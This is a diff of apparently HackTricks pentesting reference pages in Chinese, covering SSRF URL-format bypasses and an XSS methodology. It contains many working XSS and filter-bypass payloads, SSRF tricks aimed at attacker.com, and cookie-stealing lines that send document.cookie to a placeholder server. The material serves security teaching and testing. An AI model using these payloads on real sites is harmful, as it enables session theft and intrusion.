| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
|
||||
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
|
||||
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
|
||||
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,11 @@
|
||||
# URL格式绕过
|
||||
# URL Format Bypass
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### 本地主机
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
http://127.0.0.1:80
|
||||
http://127.0.0.1:443
|
||||
http://127.0.0.1:22
|
||||
@ -77,7 +78,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
.png>)
|
||||
|
||||
该 **Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式绕过。
|
||||
该**Burp扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了IP格式绕过。
|
||||
|
||||
### 域解析器
|
||||
```bash
|
||||
@ -143,7 +144,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
||||
#Parameter pollution
|
||||
next={domain}&next=attacker.com
|
||||
```
|
||||
### 路径和扩展绕过
|
||||
### 路径和扩展名绕过
|
||||
|
||||
如果您需要 URL 以路径或扩展名结尾,或必须包含路径,您可以尝试以下绕过方法:
|
||||
```
|
||||
@ -157,7 +158,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用该 URL。
|
||||
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数中、在 Host 头中或在 CORS 头中使用该 URL。
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -165,7 +166,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
服务器可能在 **过滤原始请求** 的 SSRF **但不** 过滤对该请求的可能 **重定向** 响应。\
|
||||
服务器可能在 **过滤 SSRF 的原始请求**,**但不**过滤对该请求的可能 **重定向** 响应。\
|
||||
例如,易受 SSRF 攻击的服务器通过:`url=https://www.google.com/` 可能在 **过滤 url 参数**。但是,如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方,您可能能够 **访问被过滤的 IP 地址**,如 127.0.0.1,甚至被过滤的 **协议**,如 gopher。\
|
||||
[查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
@ -198,7 +199,7 @@ _反斜杠技巧_ 利用 [WHATWG URL Standard](https://url.spec.whatwg.org/#url-
|
||||
|
||||
### 左方括号
|
||||
|
||||
用户信息段中的“左方括号”字符 `[` 可能导致 Spring 的 UriComponentsBuilder 返回与浏览器不同的主机名值:[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
用户信息段中的“左方括号”字符 `[` 可以导致 Spring 的 UriComponentsBuilder 返回一个与浏览器不同的主机名值:[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### 其他混淆
|
||||
|
||||
|
@ -2,8 +2,8 @@
|
||||
|
||||
## 方法论
|
||||
|
||||
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被 JS 代码使用**。
|
||||
2. **找到反射/使用的上下文**。
|
||||
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被** **JS** 代码 **使用**。
|
||||
2. **找到上下文**,查看它是如何被反射/使用的。
|
||||
3. 如果 **被反射**:
|
||||
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
|
||||
1. 在 **原始 HTML** 中:
|
||||
@ -22,7 +22,7 @@
|
||||
2. 你能逃逸字符串并执行不同的 JS 代码吗?
|
||||
3. 你的输入是否在模板字面量 \`\` 中?
|
||||
4. 你能绕过保护措施吗?
|
||||
4. 被 **执行的 JavaScript 函数**:
|
||||
4. 被 **执行的** Javascript **函数**:
|
||||
1. 你可以指明要执行的函数名称。例如: `?callback=alert(1)`
|
||||
4. 如果 **被使用**:
|
||||
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**。
|
||||
@ -37,7 +37,7 @@ debugging-client-side-js.md
|
||||
|
||||
为了成功利用 XSS,你需要找到的第一件事是 **一个由你控制的值在网页中被反射**。
|
||||
|
||||
- **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用 **反射型 XSS**。
|
||||
- **中间反射**:如果你发现参数的值甚至路径在网页中被反射,你可以利用 **反射型 XSS**。
|
||||
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 **存储型 XSS**。
|
||||
- **通过 JS 访问**:如果你发现一个由你控制的值通过 JS 被访问,你可以利用 **DOM XSS**。
|
||||
|
||||
@ -47,19 +47,19 @@ debugging-client-side-js.md
|
||||
|
||||
### 原始 HTML
|
||||
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用一些 **HTML 标签** 来执行 JS 代码:`<img`、`<iframe`、`<svg`、`<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用某些 **HTML 标签** 来执行 JS 代码:`<img`、`<iframe`、`<svg`、`<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
此外,请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在 HTML 标签属性内
|
||||
|
||||
如果你的输入在标签的属性值中被反射,你可以尝试:
|
||||
|
||||
1. **从属性和标签中逃逸**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
|
||||
2. 如果你 **可以从属性中逃逸但不能从标签中逃逸**(`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法从属性中逃逸**(`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,以及 **你是否控制整个值或仅部分值**,你将能够进行利用。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 中被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社会工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **逃逸属性和标签**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
|
||||
2. 如果你 **可以逃逸属性但不能逃逸标签**(`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法逃逸属性**(`"` 被编码或删除),那么根据 **你的值被反射在哪个属性** 以及 **你是否控制整个值或仅部分值**,你将能够进行利用。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 内被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社交工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
如果你控制一个类名,Angular 执行 XSS 的奇怪例子:
|
||||
如果你控制类名,Angular 执行 XSS 的奇怪例子:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -69,7 +69,7 @@ debugging-client-side-js.md
|
||||
|
||||
在这种情况下,您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间,或者在 `.js` 文件中,或在使用 **`javascript:`** 协议的属性中:
|
||||
|
||||
- 如果反映在 **`<script> [...] </script>`** 标签之间,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并从此上下文中逃脱。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
- 如果反映在 **`<script> [...] </script>`** 标签之间,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并从此上下文中逃脱。这是因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
- 如果反映 **在 JS 字符串内**,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
@ -94,13 +94,13 @@ js-hoisting.md
|
||||
|
||||
一些网页有端点**接受作为参数要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
|
||||
|
||||
找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
|
||||
找出用户直接提供的内容是否尝试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
|
||||
|
||||
.png>)
|
||||
|
||||
如果它是脆弱的,您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
|
||||
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**:
|
||||
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -116,7 +116,7 @@ parentElement
|
||||
|
||||
然而,通常执行所指示函数的端点是没有太多有趣 DOM 的端点,**同一源中的其他页面**将具有**更有趣的 DOM**以执行更多操作。
|
||||
|
||||
因此,为了**在不同 DOM 中滥用此漏洞**,开发了**同源方法执行 (SOME)** 利用:
|
||||
因此,为了在不同的 DOM 中**利用此漏洞**,开发了**同源方法执行 (SOME)** 利用:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## 在原始 HTML 中注入
|
||||
|
||||
当您的输入在**HTML 页面中被反射**或您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||
当您的输入在**HTML 页面中反射**或您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以利用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||
对于这些情况,还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
||||
_**注意:HTML 注释可以使用\*\*\*\*\*\***\***\*`-->`\*\***\***\*或 \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效负载:
|
||||
在这种情况下,如果没有使用黑名单/白名单,您可以使用以下有效负载:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -166,7 +166,7 @@ alert(1)
|
||||
|
||||
### 标签/事件暴力破解
|
||||
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。接着,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的程序进行)。
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的相同程序进行操作)。
|
||||
|
||||
### 自定义标签
|
||||
|
||||
@ -233,24 +233,24 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
最后一个使用了两个 Unicode 字符,扩展为五个:telsr\
|
||||
更多这些字符可以在 [这里](https://www.unicode.org/charts/normalization/) 找到。\
|
||||
要检查哪些字符被分解,请查看 [这里](https://www.compart.com/en/unicode/U+2121)。
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
如果为了利用这个漏洞,你需要**用户点击一个链接或一个带有预填充数据的表单**,你可以尝试[**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
|
||||
如果为了利用该漏洞,您需要 **用户点击一个链接或一个带有预填充数据的表单**,您可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
### 不可能 - 悬挂标记
|
||||
|
||||
如果你认为**创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该查看[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html),因为你可以**利用**这个漏洞**而不**执行**JS**代码。
|
||||
如果您认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,您应该查看 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html),因为您可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
|
||||
|
||||
## Injecting inside HTML tag
|
||||
## 在 HTML 标签内注入
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
### 在标签内/从属性值中转义
|
||||
|
||||
如果你在**HTML 标签内部**,你可以尝试的第一件事是**逃离**这个标签,并使用[上一节](#injecting-inside-raw-html)中提到的一些技术来执行 JS 代码。\
|
||||
如果你**无法逃离这个标签**,你可以在标签内部创建新的属性来尝试执行 JS 代码,例如使用一些有效载荷(_注意在这个例子中使用双引号来逃离属性,如果你的输入直接反映在标签内,你就不需要它们_):
|
||||
如果您在 **HTML 标签内**,您可以尝试的第一件事是 **从标签中转义**,并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
|
||||
如果您 **无法从标签中转义**,您可以在标签内创建新的属性以尝试执行 JS 代码,例如使用一些有效载荷(_请注意,在此示例中使用双引号从属性中转义,如果您的输入直接反映在标签内,则不需要它们_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -265,14 +265,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Within the attribute
|
||||
### 在属性内
|
||||
|
||||
即使你**无法从属性中逃脱**(`"`被编码或删除),根据**你的值反射在哪个属性中**,**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
|
||||
即使你**无法逃离属性**(`"`被编码或删除),根据**你的值被反射在哪个属性**中**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
|
||||
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
|
||||
**通过HTML编码/URL编码绕过事件**
|
||||
**使用HTML编码/URL编码绕过事件**
|
||||
|
||||
HTML标签属性值中的**HTML编码字符**在运行时会被**解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML标签属性值内的**HTML编码字符**在运行时会被**解码**。因此,像以下内容将是有效的(有效负载用粗体表示):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">返回</a>`
|
||||
|
||||
请注意**任何类型的HTML编码都是有效的**:
|
||||
```javascript
|
||||
@ -357,7 +357,7 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload** 中 **混合使用它们**。
|
||||
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将** **不起作用**,但你可以在 **payload** 中 **混合使用它们**。
|
||||
|
||||
**使用 Hex 和 Octal 编码与 `javascript:`**
|
||||
|
||||
@ -373,7 +373,7 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### 反向标签窃取
|
||||
### 反向标签劫持
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
@ -408,7 +408,7 @@ Android: %09 %20 %28 %2C %3B
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
在 **meta 标签**:
|
||||
在**meta标签**中:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在隐藏属性中执行**XSS有效负载**,前提是您可以**说服****受害者**按下**键组合**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在**隐藏属性**中执行**XSS有效负载**,前提是您能够**说服****受害者**按下**键组合**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### 黑名单绕过
|
||||
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的内容:**
|
||||
本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的地方:**
|
||||
|
||||
- **HTML编码(HTML标签)**
|
||||
- **Unicode编码(可以是有效的JS代码):** `\u0061lert(1)`
|
||||
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### CSS小工具
|
||||
|
||||
如果您在网络的**非常小的部分**发现了**XSS**,并且需要某种交互(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
如果您在网络的**非常小的部分**发现了**XSS**,需要某种交互(也许是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
|
||||
例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -478,7 +478,7 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。对 JavaScript 的解析以理解和执行嵌入的脚本仅在之后进行。
|
||||
|
||||
### Inside JS code
|
||||
### 在 JS 代码内部
|
||||
|
||||
如果 `<>` 被清理,你仍然可以**转义字符串**,在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行:
|
||||
```
|
||||
@ -740,13 +740,13 @@ top[8680439..toString(30)](1)
|
||||
## **DOM 漏洞**
|
||||
|
||||
有 **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
|
||||
**由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
在这里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
|
||||
在那里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
|
||||
此外,不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
|
||||
### 升级 Self-XSS
|
||||
@ -763,7 +763,7 @@ dom-xss.md
|
||||
|
||||
### 将你的会话发送给管理员
|
||||
|
||||
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发这个漏洞。
|
||||
也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发该漏洞。
|
||||
|
||||
### 会话镜像
|
||||
|
||||
@ -783,8 +783,8 @@ dom-xss.md
|
||||
```
|
||||
### Ruby-On-Rails 绕过
|
||||
|
||||
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段 (onfocus)。\
|
||||
表单示例 ([来自此报告](https://hackerone.com/reports/709336)),如果您发送有效负载:
|
||||
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段(onfocus)。\
|
||||
表单示例 ([from this report](https://hackerone.com/reports/709336)),如果您发送有效负载:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
@ -826,7 +826,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS与302响应中的头注入
|
||||
|
||||
如果你发现可以在**302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
如果你发现可以**在302重定向响应中注入头部**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头中测试几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
|
||||
@ -841,7 +841,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本,因为其MIME类型(‘application/octet-stream’)不可执行,并且启用了严格的MIME类型检查。
|
||||
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中的常量**`kSupportedJavascriptTypes`**。
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中const **`kSupportedJavascriptTypes`**中的类型。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -869,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **模块** (默认,无需解释)
|
||||
- **module** (默认,无需解释)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -924,7 +924,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
|
||||
- text/plain (?? 不在列表中,但我想我在 CTF 中见过这个)
|
||||
- application/rss+xml (关闭)
|
||||
- application/atom+xml (关闭)
|
||||
|
||||
@ -994,13 +994,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- 间接访问 `require`
|
||||
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示:
|
||||
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050),模块在 Node.js 中被包装在一个函数内,如下所示:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
因此,如果我们可以从该模块**调用另一个函数**,则可以使用 `arguments.callee.caller.arguments[1]` 从该函数访问 **`require`**:
|
||||
因此,如果我们可以从该模块**调用另一个函数**,则可以使用`arguments.callee.caller.arguments[1]`从该函数访问**`require`**:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1245,7 +1245,7 @@ steal-info-js.md
|
||||
../iframe-traps.md
|
||||
{{#endref}}
|
||||
|
||||
### 检索 Cookies
|
||||
### 获取 Cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
@ -1418,7 +1418,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### 访问 Shadow DOM
|
||||
### 访问影子DOM
|
||||
|
||||
{{#ref}}
|
||||
shadow-dom.md
|
||||
@ -1430,7 +1430,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### 盲 XSS 有效载荷
|
||||
### 盲XSS有效载荷
|
||||
|
||||
您还可以使用: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1471,6 +1471,31 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
|
||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||
<!-- Image tag -->
|
||||
